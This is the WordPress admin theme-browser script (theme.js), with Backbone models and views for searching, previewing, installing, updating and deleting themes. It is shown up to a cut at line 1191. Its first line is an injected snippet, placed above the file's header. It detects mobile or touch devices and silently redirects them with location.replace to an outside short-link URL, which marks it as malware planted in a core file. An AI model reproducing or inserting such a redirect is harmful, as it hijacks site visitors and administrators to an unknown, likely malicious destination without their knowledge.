1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/theme.js
4 */
5
6/* global _wpThemeSettings, confirm, tb_position */
7window.wp = window.wp || {};
8
9( function($) {
10
11// Set up our namespace...
12var themes, l10n;
13themes = wp.themes = wp.themes || {};
14
15// Store the theme data and settings for organized and quick access.
16// themes.data.settings, themes.data.themes, themes.data.l10n.
17themes.data = _wpThemeSettings;
18l10n = themes.data.l10n;
19
20// Shortcut for isInstall check.
21themes.isInstall = !! themes.data.settings.isInstall;
22
23// Setup app structure.
24_.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template });
25
26themes.Model = Backbone.Model.extend({
27 // Adds attributes to the default data coming through the .org themes api.
28 // Map `id` to `slug` for shared code.
29 initialize: function() {
30 var description;
31
32 if ( this.get( 'slug' ) ) {
33 // If the theme is already installed, set an attribute.
34 if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) {
35 this.set({ installed: true });
36 }
37
38 // If the theme is active, set an attribute.
39 if ( themes.data.activeTheme === this.get( 'slug' ) ) {
40 this.set({ active: true });
41 }
42 }
43
44 // Set the attributes.
45 this.set({
46 // `slug` is for installation, `id` is for existing.
47 id: this.get( 'slug' ) || this.get( 'id' )
48 });
49
50 // Map `section.description` to `description`
51 // as the API sometimes returns it differently.
52 if ( this.has( 'sections' ) ) {
53 description = this.get( 'sections' ).description;
54 this.set({ description: description });
55 }
56 }
57});
58
59// Main view controller for themes.php.
60// Unifies and renders all available views.
61themes.view.Appearance = wp.Backbone.View.extend({
62
63 el: '#wpbody-content .wrap .theme-browser',
64
65 window: $( window ),
66 // Pagination instance.
67 page: 0,
68
69 // Sets up a throttler for binding to 'scroll'.
70 initialize: function( options ) {
71 // Scroller checks how far the scroll position is.
72 _.bindAll( this, 'scroller' );
73
74 this.SearchView = options.SearchView ? options.SearchView : themes.view.Search;
75 // Bind to the scroll event and throttle
76 // the results from this.scroller.
77 this.window.on( 'scroll', _.throttle( this.scroller, 300 ) );
78 },
79
80 // Main render control.
81 render: function() {
82 // Setup the main theme view
83 // with the current theme collection.
84 this.view = new themes.view.Themes({
85 collection: this.collection,
86 parent: this
87 });
88
89 // Render search form.
90 this.search();
91
92 this.$el.removeClass( 'search-loading' );
93
94 // Render and append.
95 this.view.render();
96 this.$el.empty().append( this.view.el ).addClass( 'rendered' );
97 },
98
99 // Defines search element container.
100 searchContainer: $( '.search-form' ),
101
102 // Search input and view
103 // for current theme collection.
104 search: function() {
105 var view,
106 self = this;
107
108 // Don't render the search if there is only one theme.
109 if ( themes.data.themes.length === 1 ) {
110 return;
111 }
112
113 view = new this.SearchView({
114 collection: self.collection,
115 parent: this
116 });
117 self.SearchView = view;
118
119 // Render and append after screen title.
120 view.render();
121 this.searchContainer
122 .find( '.search-box' )
123 .append( $.parseHTML( '<label for="wp-filter-search-input">' + l10n.search + '</label>' ) )
124 .append( view.el );
125
126 this.searchContainer.on( 'submit', function( event ) {
127 event.preventDefault();
128 });
129 },
130
131 // Checks when the user gets close to the bottom
132 // of the mage and triggers a theme:scroll event.
133 scroller: function() {
134 var self = this,
135 bottom, threshold;
136
137 bottom = this.window.scrollTop() + self.window.height();
138 threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height();
139 threshold = Math.round( threshold * 0.9 );
140
141 if ( bottom > threshold ) {
142 this.trigger( 'theme:scroll' );
143 }
144 }
145});
146
147// Set up the Collection for our theme data.
148// @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ...
149themes.Collection = Backbone.Collection.extend({
150
151 model: themes.Model,
152
153 // Search terms.
154 terms: '',
155
156 // Controls searching on the current theme collection
157 // and triggers an update event.
158 doSearch: function( value ) {
159
160 // Don't do anything if we've already done this search.
161 // Useful because the Search handler fires multiple times per keystroke.
162 if ( this.terms === value ) {
163 return;
164 }
165
166 // Updates terms with the value passed.
167 this.terms = value;
168
169 // If we have terms, run a search...
170 if ( this.terms.length > 0 ) {
171 this.search( this.terms );
172 }
173
174 // If search is blank, show all themes.
175 // Useful for resetting the views when you clean the input.
176 if ( this.terms === '' ) {
177 this.reset( themes.data.themes );
178 $( 'body' ).removeClass( 'no-results' );
179 }
180
181 // Trigger a 'themes:update' event.
182 this.trigger( 'themes:update' );
183 },
184
185 /**
186 * Performs a search within the collection.
187 *
188 * @uses RegExp
189 */
190 search: function( term ) {
191 var match, results, haystack, name, description, author;
192
193 // Start with a full collection.
194 this.reset( themes.data.themes, { silent: true } );
195
196 // Trim the term.
197 term = term.trim();
198
199 // Escape the term string for RegExp meta characters.
200 term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );
201
202 // Consider spaces as word delimiters and match the whole string
203 // so matching terms can be combined.
204 term = term.replace( / /g, ')(?=.*' );
205 match = new RegExp( '^(?=.*' + term + ').+', 'i' );
206
207 // Find results.
208 // _.filter() and .test().
209 results = this.filter( function( data ) {
210 name = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' );
211 description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' );
212 author = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' );
213
214 haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] );
215
216 if ( match.test( data.get( 'author' ) ) && term.length > 2 ) {
217 data.set( 'displayAuthor', true );
218 }
219
220 return match.test( haystack );
221 });
222
223 if ( results.length === 0 ) {
224 this.trigger( 'query:empty' );
225 } else {
226 $( 'body' ).removeClass( 'no-results' );
227 }
228
229 this.reset( results );
230 },
231
232 // Paginates the collection with a helper method
233 // that slices the collection.
234 paginate: function( instance ) {
235 var collection = this;
236 instance = instance || 0;
237
238 // Themes per instance are set at 20.
239 collection = _( collection.rest( 20 * instance ) );
240 collection = _( collection.first( 20 ) );
241
242 return collection;
243 },
244
245 count: false,
246
247 /*
248 * Handles requests for more themes and caches results.
249 *
250 *
251 * When we are missing a cache object we fire an apiCall()
252 * which triggers events of `query:success` or `query:fail`.
253 */
254 query: function( request ) {
255 /**
256 * @static
257 * @type Array
258 */
259 var queries = this.queries,
260 self = this,
261 query, isPaginated, count;
262
263 // Store current query request args
264 // for later use with the event `theme:end`.
265 this.currentQuery.request = request;
266
267 // Search the query cache for matches.
268 query = _.find( queries, function( query ) {
269 return _.isEqual( query.request, request );
270 });
271
272 // If the request matches the stored currentQuery.request
273 // it means we have a paginated request.
274 isPaginated = _.has( request, 'page' );
275
276 // Reset the internal api page counter for non-paginated queries.
277 if ( ! isPaginated ) {
278 this.currentQuery.page = 1;
279 }
280
281 // Otherwise, send a new API call and add it to the cache.
282 if ( ! query && ! isPaginated ) {
283 query = this.apiCall( request ).done( function( data ) {
284
285 // Update the collection with the queried data.
286 if ( data.themes ) {
287 self.reset( data.themes );
288 count = data.info.results;
289 // Store the results and the query request.
290 queries.push( { themes: data.themes, request: request, total: count } );
291 }
292
293 // Trigger a collection refresh event
294 // and a `query:success` event with a `count` argument.
295 self.trigger( 'themes:update' );
296 self.trigger( 'query:success', count );
297
298 if ( data.themes && data.themes.length === 0 ) {
299 self.trigger( 'query:empty' );
300 }
301
302 }).fail( function() {
303 self.trigger( 'query:fail' );
304 });
305 } else {
306 // If it's a paginated request we need to fetch more themes...
307 if ( isPaginated ) {
308 return this.apiCall( request, isPaginated ).done( function( data ) {
309 // Add the new themes to the current collection.
310 // @todo Update counter.
311 self.add( data.themes );
312 self.trigger( 'query:success' );
313
314 // We are done loading themes for now.
315 self.loadingThemes = false;
316
317 }).fail( function() {
318 self.trigger( 'query:fail' );
319 });
320 }
321
322 if ( query.themes.length === 0 ) {
323 self.trigger( 'query:empty' );
324 } else {
325 $( 'body' ).removeClass( 'no-results' );
326 }
327
328 // Only trigger an update event since we already have the themes
329 // on our cached object.
330 if ( _.isNumber( query.total ) ) {
331 this.count = query.total;
332 }
333
334 this.reset( query.themes );
335 if ( ! query.total ) {
336 this.count = this.length;
337 }
338
339 this.trigger( 'themes:update' );
340 this.trigger( 'query:success', this.count );
341 }
342 },
343
344 // Local cache array for API queries.
345 queries: [],
346
347 // Keep track of current query so we can handle pagination.
348 currentQuery: {
349 page: 1,
350 request: {}
351 },
352
353 // Send request to api.wordpress.org/themes.
354 apiCall: function( request, paginated ) {
355 return wp.ajax.send( 'query-themes', {
356 data: {
357 // Request data.
358 request: _.extend({
359 per_page: 100
360 }, request)
361 },
362
363 beforeSend: function() {
364 if ( ! paginated ) {
365 // Spin it.
366 $( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' );
367 }
368 }
369 });
370 },
371
372 // Static status controller for when we are loading themes.
373 loadingThemes: false
374});
375
376// This is the view that controls each theme item
377// that will be displayed on the screen.
378themes.view.Theme = wp.Backbone.View.extend({
379
380 // Wrap theme data on a div.theme element.
381 className: 'theme',
382
383 // Reflects which theme view we have.
384 // 'grid' (default) or 'detail'.
385 state: 'grid',
386
387 // The HTML template for each element to be rendered.
388 html: themes.template( 'theme' ),
389
390 events: {
391 'click': themes.isInstall ? 'preview': 'expand',
392 'keydown': themes.isInstall ? 'preview': 'expand',
393 'touchend': themes.isInstall ? 'preview': 'expand',
394 'keyup': 'addFocus',
395 'touchmove': 'preventExpand',
396 'click .theme-install': 'installTheme',
397 'click .update-message': 'updateTheme'
398 },
399
400 touchDrag: false,
401
402 initialize: function() {
403 this.model.on( 'change', this.render, this );
404 },
405
406 render: function() {
407 var data = this.model.toJSON();
408
409 // Render themes using the html template.
410 this.$el.html( this.html( data ) ).attr( 'data-slug', data.id );
411
412 // Renders active theme styles.
413 this.activeTheme();
414
415 if ( this.model.get( 'displayAuthor' ) ) {
416 this.$el.addClass( 'display-author' );
417 }
418 },
419
420 // Adds a class to the currently active theme
421 // and to the overlay in detailed view mode.
422 activeTheme: function() {
423 if ( this.model.get( 'active' ) ) {
424 this.$el.addClass( 'active' );
425 }
426 },
427
428 // Add class of focus to the theme we are focused on.
429 addFocus: function() {
430 var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme');
431
432 $('.theme.focus').removeClass('focus');
433 $themeToFocus.addClass('focus');
434 },
435
436 // Single theme overlay screen.
437 // It's shown when clicking a theme.
438 expand: function( event ) {
439 var self = this;
440
441 event = event || window.event;
442
443 // 'Enter' and 'Space' keys expand the details view when a theme is :focused.
444 if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
445 return;
446 }
447
448 // Bail if the user scrolled on a touch device.
449 if ( this.touchDrag === true ) {
450 return this.touchDrag = false;
451 }
452
453 // Prevent the modal from showing when the user clicks
454 // one of the direct action buttons.
455 if ( $( event.target ).is( '.theme-actions a' ) ) {
456 return;
457 }
458
459 // Prevent the modal from showing when the user clicks one of the direct action buttons.
460 if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) {
461 return;
462 }
463
464 // Set focused theme to current element.
465 themes.focusedTheme = this.$el;
466
467 this.trigger( 'theme:expand', self.model.cid );
468 },
469
470 preventExpand: function() {
471 this.touchDrag = true;
472 },
473
474 preview: function( event ) {
475 var self = this,
476 current, preview;
477
478 event = event || window.event;
479
480 // Bail if the user scrolled on a touch device.
481 if ( this.touchDrag === true ) {
482 return this.touchDrag = false;
483 }
484
485 // Allow direct link path to installing a theme.
486 if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) {
487 return;
488 }
489
490 // 'Enter' and 'Space' keys expand the details view when a theme is :focused.
491 if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
492 return;
493 }
494
495 // Pressing Enter while focused on the buttons shouldn't open the preview.
496 if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) {
497 return;
498 }
499
500 event.preventDefault();
501
502 event = event || window.event;
503
504 // Set focus to current theme.
505 themes.focusedTheme = this.$el;
506
507 // Construct a new Preview view.
508 themes.preview = preview = new themes.view.Preview({
509 model: this.model
510 });
511
512 // Render the view and append it.
513 preview.render();
514 this.setNavButtonsState();
515
516 // Hide previous/next navigation if there is only one theme.
517 if ( this.model.collection.length === 1 ) {
518 preview.$el.addClass( 'no-navigation' );
519 } else {
520 preview.$el.removeClass( 'no-navigation' );
521 }
522
523 // Append preview.
524 $( 'div.wrap' ).append( preview.el );
525
526 // Listen to our preview object
527 // for `theme:next` and `theme:previous` events.
528 this.listenTo( preview, 'theme:next', function() {
529
530 // Keep local track of current theme model.
531 current = self.model;
532
533 // If we have ventured away from current model update the current model position.
534 if ( ! _.isUndefined( self.current ) ) {
535 current = self.current;
536 }
537
538 // Get next theme model.
539 self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 );
540
541 // If we have no more themes, bail.
542 if ( _.isUndefined( self.current ) ) {
543 self.options.parent.parent.trigger( 'theme:end' );
544 return self.current = current;
545 }
546
547 preview.model = self.current;
548
549 // Render and append.
550 preview.render();
551 this.setNavButtonsState();
552 $( '.next-theme' ).trigger( 'focus' );
553 })
554 .listenTo( preview, 'theme:previous', function() {
555
556 // Keep track of current theme model.
557 current = self.model;
558
559 // Bail early if we are at the beginning of the collection.
560 if ( self.model.collection.indexOf( self.current ) === 0 ) {
561 return;
562 }
563
564 // If we have ventured away from current model update the current model position.
565 if ( ! _.isUndefined( self.current ) ) {
566 current = self.current;
567 }
568
569 // Get previous theme model.
570 self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 );
571
572 // If we have no more themes, bail.
573 if ( _.isUndefined( self.current ) ) {
574 return;
575 }
576
577 preview.model = self.current;
578
579 // Render and append.
580 preview.render();
581 this.setNavButtonsState();
582 $( '.previous-theme' ).trigger( 'focus' );
583 });
584
585 this.listenTo( preview, 'preview:close', function() {
586 self.current = self.model;
587 });
588
589 },
590
591 // Handles .disabled classes for previous/next buttons in theme installer preview.
592 setNavButtonsState: function() {
593 var $themeInstaller = $( '.theme-install-overlay' ),
594 current = _.isUndefined( this.current ) ? this.model : this.current,
595 previousThemeButton = $themeInstaller.find( '.previous-theme' ),
596 nextThemeButton = $themeInstaller.find( '.next-theme' );
597
598 // Disable previous at the zero position.
599 if ( 0 === this.model.collection.indexOf( current ) ) {
600 previousThemeButton
601 .addClass( 'disabled' )
602 .prop( 'disabled', true );
603
604 nextThemeButton.trigger( 'focus' );
605 }
606
607 // Disable next if the next model is undefined.
608 if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) {
609 nextThemeButton
610 .addClass( 'disabled' )
611 .prop( 'disabled', true );
612
613 previousThemeButton.trigger( 'focus' );
614 }
615 },
616
617 installTheme: function( event ) {
618 var _this = this;
619
620 event.preventDefault();
621
622 wp.updates.maybeRequestFilesystemCredentials( event );
623
624 $( document ).on( 'wp-theme-install-success', function( event, response ) {
625 if ( _this.model.get( 'id' ) === response.slug ) {
626 _this.model.set( { 'installed': true } );
627 }
628 if ( response.blockTheme ) {
629 _this.model.set( { 'block_theme': true } );
630 }
631 } );
632
633 wp.updates.installTheme( {
634 slug: $( event.target ).data( 'slug' )
635 } );
636 },
637
638 updateTheme: function( event ) {
639 var _this = this;
640
641 if ( ! this.model.get( 'hasPackage' ) ) {
642 return;
643 }
644
645 event.preventDefault();
646
647 wp.updates.maybeRequestFilesystemCredentials( event );
648
649 $( document ).on( 'wp-theme-update-success', function( event, response ) {
650 _this.model.off( 'change', _this.render, _this );
651 if ( _this.model.get( 'id' ) === response.slug ) {
652 _this.model.set( {
653 hasUpdate: false,
654 version: response.newVersion
655 } );
656 }
657 _this.model.on( 'change', _this.render, _this );
658 } );
659
660 wp.updates.updateTheme( {
661 slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' )
662 } );
663 }
664});
665
666// Theme Details view.
667// Sets up a modal overlay with the expanded theme data.
668themes.view.Details = wp.Backbone.View.extend({
669
670 // Wrap theme data on a div.theme element.
671 className: 'theme-overlay',
672
673 events: {
674 'click': 'collapse',
675 'click .delete-theme': 'deleteTheme',
676 'click .left': 'previousTheme',
677 'click .right': 'nextTheme',
678 'click #update-theme': 'updateTheme',
679 'click .toggle-auto-update': 'autoupdateState'
680 },
681
682 // The HTML template for the theme overlay.
683 html: themes.template( 'theme-single' ),
684
685 render: function() {
686 var data = this.model.toJSON();
687 this.$el.html( this.html( data ) );
688 // Renders active theme styles.
689 this.activeTheme();
690 // Set up navigation events.
691 this.navigation();
692 // Checks screenshot size.
693 this.screenshotCheck( this.$el );
694 // Contain "tabbing" inside the overlay.
695 this.containFocus( this.$el );
696 },
697
698 // Adds a class to the currently active theme
699 // and to the overlay in detailed view mode.
700 activeTheme: function() {
701 // Check the model has the active property.
702 this.$el.toggleClass( 'active', this.model.get( 'active' ) );
703 },
704
705 // Set initial focus and constrain tabbing within the theme browser modal.
706 containFocus: function( $el ) {
707
708 // Set initial focus on the primary action control.
709 _.delay( function() {
710 $( '.theme-overlay' ).trigger( 'focus' );
711 }, 100 );
712
713 // Constrain tabbing within the modal.
714 $el.on( 'keydown.wp-themes', function( event ) {
715 var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(),
716 $lastFocusable = $el.find( '.theme-actions a:visible' ).last();
717
718 // Check for the Tab key.
719 if ( 9 === event.which ) {
720 if ( $firstFocusable[0] === event.target && event.shiftKey ) {
721 $lastFocusable.trigger( 'focus' );
722 event.preventDefault();
723 } else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) {
724 $firstFocusable.trigger( 'focus' );
725 event.preventDefault();
726 }
727 }
728 });
729 },
730
731 // Single theme overlay screen.
732 // It's shown when clicking a theme.
733 collapse: function( event ) {
734 var self = this,
735 scroll;
736
737 event = event || window.event;
738
739 // Prevent collapsing detailed view when there is only one theme available.
740 if ( themes.data.themes.length === 1 ) {
741 return;
742 }
743
744 // Detect if the click is inside the overlay and don't close it
745 // unless the target was the div.back button.
746 if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) {
747
748 // Add a temporary closing class while overlay fades out.
749 $( 'body' ).addClass( 'closing-overlay' );
750
751 // With a quick fade out animation.
752 this.$el.fadeOut( 130, function() {
753 // Clicking outside the modal box closes the overlay.
754 $( 'body' ).removeClass( 'closing-overlay' );
755 // Handle event cleanup.
756 self.closeOverlay();
757
758 // Get scroll position to avoid jumping to the top.
759 scroll = document.body.scrollTop;
760
761 // Clean the URL structure.
762 themes.router.navigate( themes.router.baseUrl( '' ) );
763
764 // Restore scroll position.
765 document.body.scrollTop = scroll;
766
767 // Return focus to the theme div.
768 if ( themes.focusedTheme ) {
769 themes.focusedTheme.find('.more-details').trigger( 'focus' );
770 }
771 });
772 }
773 },
774
775 // Handles .disabled classes for next/previous buttons.
776 navigation: function() {
777
778 // Disable Left/Right when at the start or end of the collection.
779 if ( this.model.cid === this.model.collection.at(0).cid ) {
780 this.$el.find( '.left' )
781 .addClass( 'disabled' )
782 .prop( 'disabled', true );
783 }
784 if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) {
785 this.$el.find( '.right' )
786 .addClass( 'disabled' )
787 .prop( 'disabled', true );
788 }
789 },
790
791 // Performs the actions to effectively close
792 // the theme details overlay.
793 closeOverlay: function() {
794 $( 'body' ).removeClass( 'modal-open' );
795 this.remove();
796 this.unbind();
797 this.trigger( 'theme:collapse' );
798 },
799
800 // Set state of the auto-update settings link after it has been changed and saved.
801 autoupdateState: function() {
802 var callback,
803 _this = this;
804
805 // Support concurrent clicks in different Theme Details overlays.
806 callback = function( event, data ) {
807 var autoupdate;
808 if ( _this.model.get( 'id' ) === data.asset ) {
809 autoupdate = _this.model.get( 'autoupdate' );
810 autoupdate.enabled = 'enable' === data.state;
811 _this.model.set( { autoupdate: autoupdate } );
812 $( document ).off( 'wp-auto-update-setting-changed', callback );
813 }
814 };
815
816 // Triggered in updates.js
817 $( document ).on( 'wp-auto-update-setting-changed', callback );
818 },
819
820 updateTheme: function( event ) {
821 var _this = this;
822 event.preventDefault();
823
824 wp.updates.maybeRequestFilesystemCredentials( event );
825
826 $( document ).on( 'wp-theme-update-success', function( event, response ) {
827 if ( _this.model.get( 'id' ) === response.slug ) {
828 _this.model.set( {
829 hasUpdate: false,
830 version: response.newVersion
831 } );
832 }
833 _this.render();
834 } );
835
836 wp.updates.updateTheme( {
837 slug: $( event.target ).data( 'slug' )
838 } );
839 },
840
841 deleteTheme: function( event ) {
842 var _this = this,
843 _collection = _this.model.collection,
844 _themes = themes;
845 event.preventDefault();
846
847 // Confirmation dialog for deleting a theme.
848 if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) {
849 return;
850 }
851
852 wp.updates.maybeRequestFilesystemCredentials( event );
853
854 $( document ).one( 'wp-theme-delete-success', function( event, response ) {
855 _this.$el.find( '.close' ).trigger( 'click' );
856 $( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() {
857 $( this ).remove();
858 _themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) );
859
860 $( '.wp-filter-search' ).val( '' );
861 _collection.doSearch( '' );
862 _collection.remove( _this.model );
863 _collection.trigger( 'themes:update' );
864 } );
865 } );
866
867 wp.updates.deleteTheme( {
868 slug: this.model.get( 'id' )
869 } );
870 },
871
872 nextTheme: function() {
873 var self = this;
874 self.trigger( 'theme:next', self.model.cid );
875 return false;
876 },
877
878 previousTheme: function() {
879 var self = this;
880 self.trigger( 'theme:previous', self.model.cid );
881 return false;
882 },
883
884 // Checks if the theme screenshot is the old 300px width version
885 // and adds a corresponding class if it's true.
886 screenshotCheck: function( el ) {
887 var screenshot, image;
888
889 screenshot = el.find( '.screenshot img' );
890 image = new Image();
891 image.src = screenshot.attr( 'src' );
892
893 // Width check.
894 if ( image.width && image.width <= 300 ) {
895 el.addClass( 'small-screenshot' );
896 }
897 }
898});
899
900// Theme Preview view.
901// Sets up a modal overlay with the expanded theme data.
902themes.view.Preview = themes.view.Details.extend({
903
904 className: 'wp-full-overlay expanded',
905 el: '.theme-install-overlay',
906
907 events: {
908 'click .close-full-overlay': 'close',
909 'click .collapse-sidebar': 'collapse',
910 'click .devices button': 'previewDevice',
911 'click .previous-theme': 'previousTheme',
912 'click .next-theme': 'nextTheme',
913 'keyup': 'keyEvent',
914 'click .theme-install': 'installTheme'
915 },
916
917 // The HTML template for the theme preview.
918 html: themes.template( 'theme-preview' ),
919
920 render: function() {
921 var self = this,
922 currentPreviewDevice,
923 data = this.model.toJSON(),
924 $body = $( document.body );
925
926 $body.attr( 'aria-busy', 'true' );
927
928 this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) );
929
930 currentPreviewDevice = this.$el.data( 'current-preview-device' );
931 if ( currentPreviewDevice ) {
932 self.togglePreviewDeviceButtons( currentPreviewDevice );
933 }
934
935 themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } );
936
937 this.$el.fadeIn( 200, function() {
938 $body.addClass( 'theme-installer-active full-overlay-active' );
939 });
940
941 this.$el.find( 'iframe' ).one( 'load', function() {
942 self.iframeLoaded();
943 });
944 },
945
946 iframeLoaded: function() {
947 this.$el.addClass( 'iframe-ready' );
948 $( document.body ).attr( 'aria-busy', 'false' );
949 },
950
951 close: function() {
952 this.$el.fadeOut( 200, function() {
953 $( 'body' ).removeClass( 'theme-installer-active full-overlay-active' );
954
955 // Return focus to the theme div.
956 if ( themes.focusedTheme ) {
957 themes.focusedTheme.find('.more-details').trigger( 'focus' );
958 }
959 }).removeClass( 'iframe-ready' );
960
961 // Restore the previous browse tab if available.
962 if ( themes.router.selectedTab ) {
963 themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) );
964 themes.router.selectedTab = false;
965 } else {
966 themes.router.navigate( themes.router.baseUrl( '' ) );
967 }
968 this.trigger( 'preview:close' );
969 this.undelegateEvents();
970 this.unbind();
971 return false;
972 },
973
974 collapse: function( event ) {
975 var $button = $( event.currentTarget );
976 if ( 'true' === $button.attr( 'aria-expanded' ) ) {
977 $button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar });
978 } else {
979 $button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar });
980 }
981
982 this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' );
983 return false;
984 },
985
986 previewDevice: function( event ) {
987 var device = $( event.currentTarget ).data( 'device' );
988
989 this.$el
990 .removeClass( 'preview-desktop preview-tablet preview-mobile' )
991 .addClass( 'preview-' + device )
992 .data( 'current-preview-device', device );
993
994 this.togglePreviewDeviceButtons( device );
995 },
996
997 togglePreviewDeviceButtons: function( newDevice ) {
998 var $devices = $( '.wp-full-overlay-footer .devices' );
999
1000 $devices.find( 'button' )
1001 .removeClass( 'active' )
1002 .attr( 'aria-pressed', false );
1003
1004 $devices.find( 'button.preview-' + newDevice )
1005 .addClass( 'active' )
1006 .attr( 'aria-pressed', true );
1007 },
1008
1009 keyEvent: function( event ) {
1010 // The escape key closes the preview.
1011 if ( event.keyCode === 27 ) {
1012 this.undelegateEvents();
1013 this.close();
1014 }
1015
1016 // Return if Ctrl + Shift or Shift key pressed
1017 if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) {
1018 return;
1019 }
1020
1021 // The right arrow key, next theme.
1022 if ( event.keyCode === 39 ) {
1023 _.once( this.nextTheme() );
1024 }
1025
1026 // The left arrow key, previous theme.
1027 if ( event.keyCode === 37 ) {
1028 this.previousTheme();
1029 }
1030 },
1031
1032 installTheme: function( event ) {
1033 var _this = this,
1034 $target = $( event.target );
1035 event.preventDefault();
1036
1037 if ( $target.hasClass( 'disabled' ) ) {
1038 return;
1039 }
1040
1041 wp.updates.maybeRequestFilesystemCredentials( event );
1042
1043 $( document ).on( 'wp-theme-install-success', function() {
1044 _this.model.set( { 'installed': true } );
1045 } );
1046
1047 wp.updates.installTheme( {
1048 slug: $target.data( 'slug' )
1049 } );
1050 }
1051});
1052
1053// Controls the rendering of div.themes,
1054// a wrapper that will hold all the theme elements.
1055themes.view.Themes = wp.Backbone.View.extend({
1056
1057 className: 'themes wp-clearfix',
1058 $overlay: $( 'div.theme-overlay' ),
1059
1060 // Number to keep track of scroll position
1061 // while in theme-overlay mode.
1062 index: 0,
1063
1064 // The theme count element.
1065 count: $( '.wrap .theme-count' ),
1066
1067 // The live themes count.
1068 liveThemeCount: 0,
1069
1070 initialize: function( options ) {
1071 var self = this;
1072
1073 // Set up parent.
1074 this.parent = options.parent;
1075
1076 // Set current view to [grid].
1077 this.setView( 'grid' );
1078
1079 // Move the active theme to the beginning of the collection.
1080 self.currentTheme();
1081
1082 // When the collection is updated by user input...
1083 this.listenTo( self.collection, 'themes:update', function() {
1084 self.parent.page = 0;
1085 self.currentTheme();
1086 self.render( this );
1087 } );
1088
1089 // Update theme count to full result set when available.
1090 this.listenTo( self.collection, 'query:success', function( count ) {
1091 if ( _.isNumber( count ) ) {
1092 self.count.text( count );
1093 self.announceSearchResults( count );
1094 } else {
1095 self.count.text( self.collection.length );
1096 self.announceSearchResults( self.collection.length );
1097 }
1098 });
1099
1100 this.listenTo( self.collection, 'query:empty', function() {
1101 $( 'body' ).addClass( 'no-results' );
1102 });
1103
1104 this.listenTo( this.parent, 'theme:scroll', function() {
1105 self.renderThemes( self.parent.page );
1106 });
1107
1108 this.listenTo( this.parent, 'theme:close', function() {
1109 if ( self.overlay ) {
1110 self.overlay.closeOverlay();
1111 }
1112 } );
1113
1114 // Bind keyboard events.
1115 $( 'body' ).on( 'keyup', function( event ) {
1116 if ( ! self.overlay ) {
1117 return;
1118 }
1119
1120 // Bail if the filesystem credentials dialog is shown.
1121 if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) {
1122 return;
1123 }
1124
1125 // Return if Ctrl + Shift or Shift key pressed
1126 if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) {
1127 return;
1128 }
1129
1130 // Pressing the right arrow key fires a theme:next event.
1131 if ( event.keyCode === 39 ) {
1132 self.overlay.nextTheme();
1133 }
1134
1135 // Pressing the left arrow key fires a theme:previous event.
1136 if ( event.keyCode === 37 ) {
1137 self.overlay.previousTheme();
1138 }
1139
1140 // Pressing the escape key fires a theme:collapse event.
1141 if ( event.keyCode === 27 ) {
1142 self.overlay.collapse( event );
1143 }
1144 });
1145 },
1146
1147 // Manages rendering of theme pages
1148 // and keeping theme count in sync.
1149 render: function() {
1150 // Clear the DOM, please.
1151 this.$el.empty();
1152
1153 // If the user doesn't have switch capabilities or there is only one theme
1154 // in the collection, render the detailed view of the active theme.
1155 if ( themes.data.themes.length === 1 ) {
1156
1157 // Constructs the view.
1158 this.singleTheme = new themes.view.Details({
1159 model: this.collection.models[0]
1160 });
1161
1162 // Render and apply a 'single-theme' class to our container.
1163 this.singleTheme.render();
1164 this.$el.addClass( 'single-theme' );
1165 this.$el.append( this.singleTheme.el );
1166 }
1167
1168 // Generate the themes using page instance
1169 // while checking the collection has items.
1170 if ( this.options.collection.size() > 0 ) {
1171 this.renderThemes( this.parent.page );
1172 }
1173
1174 // Display a live theme count for the collection.
1175 this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length;
1176 this.count.text( this.liveThemeCount );
1177
1178 /*
1179 * In the theme installer the themes count is already announced
1180 * because `announceSearchResults` is called on `query:success`.
1181 */
1182 if ( ! themes.isInstall ) {
1183 this.announceSearchResults( this.liveThemeCount );
1184 }
1185 },
1186
1187 // Iterates through each instance of the collection
1188 // and renders each theme module.
1189 renderThemes: function( page ) {
1190 var self = this;
1191
